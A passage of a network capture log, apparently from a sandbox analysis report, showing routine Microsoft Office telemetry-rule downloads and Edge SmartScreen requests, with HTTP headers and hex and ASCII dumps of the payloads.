encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220635Z-15b8b599d885ffrhhC1TEBtuv0000000022g00000000dh6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220635Z-174c587ffdfmrvb9hC1TEBtn380000000220000000009wpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49833	52.228.161.161	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:35 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoicWl2YUEvM1UzZDJrOTZkTCtDVWUwQT09IiwgImhhc2giOiJicUtGMXBORWFGND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-22 22:06:35 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-22 22:06:35 UTC	248	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-22 22:06:35 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49834	52.228.161.161	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:35 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiU3IwcjJ2ZHcrbVR3a09yNEZjZlFRUT09IiwgImhhc2giOiJLamtoampEN3pBND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-22 22:06:35 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-22 22:06:36 UTC	302	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:36 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-22 22:06:36 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-22 22:06:36 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:36 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220637Z-178bfbc474bwlrhlhC1NYCy3kg00000003fg00000000raxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220637Z-174c587ffdfn4nhwhC1TEB2nbc000000021g00000000pex0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:37 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220637Z-178bfbc474bw8bwphC1NYC38b400000003b000000000nnvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:37 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220637Z-174c587ffdf8fcgwhC1TEBnn70000000025g00000000e9t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
